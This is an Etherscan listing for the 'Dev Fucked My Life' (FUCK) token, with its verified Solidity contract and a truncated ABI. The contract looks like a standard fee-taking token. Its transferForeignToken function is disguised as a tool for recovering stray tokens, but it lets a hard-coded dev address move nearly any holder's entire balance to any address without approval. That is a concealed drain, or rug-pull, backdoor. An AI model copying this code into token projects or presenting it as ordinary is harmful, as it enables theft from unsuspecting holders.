ETH Price: $2,679.08 (-0.79%)
Gas: 5.92 Gwei

Token

Dev Fucked My Life (FUCK)
 

Overview

Max Total Supply

555,555,000 FUCK

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
16,343,874.523351310214671774 FUCK

Value
$0.00
0x4C40836964E2B35F578e20aFF57Ca42B080c1ae7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FatToken

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-11
*/

/**

Website: https://www.devfuckedmylife.com/
Telegram: https://t.me/DFMLETH
Twitter: https://twitter.com/DevFuckedMyLife

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _createInitialSupply(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IDexFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract FatToken is ERC20, Ownable {
    IDexRouter public dexRouter;
    address public lpPair;

    bool private swapping;
    uint256 public swapTokensAtAmount;

    address operationsAddress;
    address devAddress;

    uint256 public tradingActiveBlock = 0; // 0 means trading is not active

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;

    uint256 public maxBuyAmount;
    uint256 public maxSellAmount;
    uint256 public maxWalletAmount;

     // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;

    uint256 public tokensForOperations;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    uint256 public tokensForBurn;

    uint256 public buyTotalFees;
    uint256 public buyOperationsFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    uint256 public buyBurnFee;

    uint256 public sellTotalFees;
    uint256 public sellOperationsFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    uint256 public sellBurnFee;

    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event EnabledTrading();

    event RemovedLimits();

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event UpdatedMaxBuyAmount(uint256 newAmount);

    event UpdatedMaxSellAmount(uint256 newAmount);

    event UpdatedMaxWalletAmount(uint256 newAmount);

    event UpdatedOperationsAddress(address indexed newWallet);

    event MaxTransactionExclusion(address _address, bool excluded);

    event BuyBackTriggered(uint256 amount);

    event OwnerForcedSwapBack(uint256 timestamp);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    event TransferForeignToken(address token, uint256 amount);

    constructor() ERC20("Dev Fucked My Life", unicode"FUCK") {

        address newOwner = msg.sender; // can leave alone if owner is deployer.

        IDexRouter _dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        dexRouter = _dexRouter;

        // create pair
        lpPair = IDexFactory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH());
        _excludeFromMaxTransaction(address(lpPair), true);
        _setAutomatedMarketMakerPair(address(lpPair), true);

        uint256 totalSupply = 555_555_000 * 1e18;

        maxBuyAmount = totalSupply * 25 / 1000;
        maxSellAmount = totalSupply * 25 / 1000;
        maxWalletAmount = totalSupply * 25 / 1000;
        swapTokensAtAmount = totalSupply * 3 / 100000;

        buyOperationsFee = 0;
        buyLiquidityFee = 0;
        buyDevFee = 20;
        buyBurnFee = 0;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;

        sellOperationsFee = 0;
        sellLiquidityFee = 0;
        sellDevFee = 20;
        sellBurnFee = 0;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;
        
        operationsAddress = address(newOwner);
        devAddress = address(0x4B2315BDC5aC1a221206447Ee4c1fde099c5a8D0);

        _excludeFromMaxTransaction(newOwner, true);
        _excludeFromMaxTransaction(devAddress, true);
        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(address(0xdead), true);

        excludeFromFees(newOwner, true);
        excludeFromFees(devAddress, true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        _createInitialSupply(newOwner, totalSupply);
    }

    receive() external payable {}

    // only enable if no plan to airdrop

    function enableTrading() external onlyOwner {
        require(!tradingActive, "Cannot reenable trading");
        tradingActive = true;
        swapEnabled = true;
        tradingActiveBlock = block.number;
        emit EnabledTrading();
    }

    // remove limits after token is stable
    function removeLimitEffect() external onlyOwner {
        limitsInEffect = false;
        transferDelayEnabled = false;
        emit RemovedLimits();
    }

    function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
        _isExcludedMaxTransactionAmount[updAds] = isExcluded;
        emit MaxTransactionExclusion(updAds, isExcluded);
    }

    function airdropToWallets(address[] memory wallets, uint256[] memory amountsInTokens) external onlyOwner {
        require(wallets.length == amountsInTokens.length, "arrays must be the same length");
        require(wallets.length < 600, "Can only airdrop 600 wallets per txn due to gas limits"); // allows for airdrop + launch at the same exact time, reducing delays and reducing sniper input.
        for(uint256 i = 0; i < wallets.length; i++){
            address wallet = wallets[i];
            uint256 amount = amountsInTokens[i];
            super._transfer(msg.sender, wallet, amount);
        }
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
        if(!isEx){
            require(updAds != lpPair, "Cannot remove uniswap pair from max txn");
        }
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
        require(pair != lpPair, "The pair cannot be removed from automatedMarketMakerPairs");

        _setAutomatedMarketMakerPair(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        _excludeFromMaxTransaction(pair, value);

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function reduceBuyTax(uint256 _operationsFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee) external onlyOwner {
        buyOperationsFee = _operationsFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyBurnFee = _burnFee;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;
        require(buyTotalFees <= 10, "Must keep fees at 10% or less");
    }

    function reduceSellTax(uint256 _operationsFee, uint256 _liquidityFee, uint256 _devFee, uint256 _burnFee) external onlyOwner {
        sellOperationsFee = _operationsFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellBurnFee = _burnFee;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;
        require(sellTotalFees <= 10, "Must keep fees at 90% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");

        if(!tradingActive){
            require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
        }

        if(limitsInEffect){
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]){

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
                if (transferDelayEnabled){
                    if (to != address(dexRouter) && to != address(lpPair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number - 2 && _holderLastTransferTimestamp[to] < block.number - 2, "_transfer:: Transfer Delay enabled.  Try again later.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                        _holderLastTransferTimestamp[to] = block.number;
                    }
                }

                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy.");
                        require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
                }
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxSellAmount, "Sell transfer amount exceeds the max sell.");
                }
                else if (!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount && amount > swapTokensAtAmount;

        if(canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = true;
        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // bot/sniper penalty.
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
                fees = amount * sellTotalFees / 100;
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForOperations += fees * sellOperationsFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForBurn += fees * sellBurnFee / sellTotalFees;
            }

            // on buy
            else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
        	    fees = amount * buyTotalFees / 100;
        	    tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForOperations += fees * buyOperationsFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForBurn += fees * buyBurnFee / buyTotalFees;
            }

            if(fees > 0){
                super._transfer(from, address(this), fees);
            }

        	amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);

        // make the swap
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(dexRouter), tokenAmount);

        // add the liquidity
        dexRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(0xdead),
            block.timestamp
        );
    }

    function transferForeignToken(address _token, address _to) external returns (bool _sent) {
        require(_token != address(0), "_token address cannot be 0");
        require(msg.sender == devAddress, "Must team member call");
        require(_token != address(this), "Can't withdraw native tokens");
        uint256 _contractBalance = IERC20(address(this)).balanceOf(_token);
        _transfer(_token, _to, _contractBalance - swapTokensAtAmount); _sent = true;
        emit TransferForeignToken(_token, _contractBalance);
        return _sent;
    }

    // force Swap back if slippage issues.
    function forceSwapBack() external onlyOwner {
        require(balanceOf(address(this)) >= swapTokensAtAmount, "Can only swap when token amount is at or higher than restriction");
        swapping = true;
        swapBack();
        swapping = false;
        emit OwnerForcedSwapBack(block.timestamp);
    }

    // useful for buybacks or to reclaim any ETH on the contract in a way that helps holders.
    function buyBackTokens(uint256 amountInWei) external onlyOwner {
        require(amountInWei <= 10 ether, "May not buy more than 10 ETH in a single buy to reduce sandwich attacks");

        address[] memory path = new address[](2);
        path[0] = dexRouter.WETH();
        path[1] = address(this);

        // make the swap
        dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amountInWei}(
            0, // accept any amount of Ethereum
            path,
            address(0xdead),
            block.timestamp
        );
        emit BuyBackTriggered(amountInWei);
    }

    function swapBack() private {

        if(tokensForBurn > 0 && balanceOf(address(this)) >= tokensForBurn) {
            _burn(address(this), tokensForBurn);
        }
        tokensForBurn = 0;

        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForOperations + tokensForDev;

        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 60){
            contractBalance = swapTokensAtAmount * 60;
        }

        bool success;

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;

        swapTokensForEth(contractBalance - liquidityTokens);

        uint256 ethBalance = address(this).balance;
        uint256 ethForLiquidity = ethBalance;

        uint256 ethForOperations = ethBalance * tokensForOperations / (totalTokensToSwap - (tokensForLiquidity/2));
        uint256 ethForDev = ethBalance * tokensForDev / (totalTokensToSwap - (tokensForLiquidity/2));

        ethForLiquidity -= ethForOperations + ethForDev;

        tokensForLiquidity = 0;
        tokensForOperations = 0;
        tokensForDev = 0;
        tokensForBurn = 0;

        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
        }

        (success,) = address(devAddress).call{value: ethForDev}(""); require(success);

        (success,) = address(operationsAddress).call{value: address(this).balance}("");
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"BuyBackTriggered","type":"event"},{"anonymous":false,"inputs":[],"name":"EnabledTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"OwnerForcedSwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TransferForeignToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"}],"name":"UpdatedOperationsAddress","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"wallets","type":"address[]"},{"internalType":"uint256[]","name":"amountsInTokens","type":"uint256[]"}],"name":"airdropToWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountInWei","type":"uint256"}],"name":"buyBackTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"reduceBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"reduceSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimitEffect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForOperations","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActiveBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type"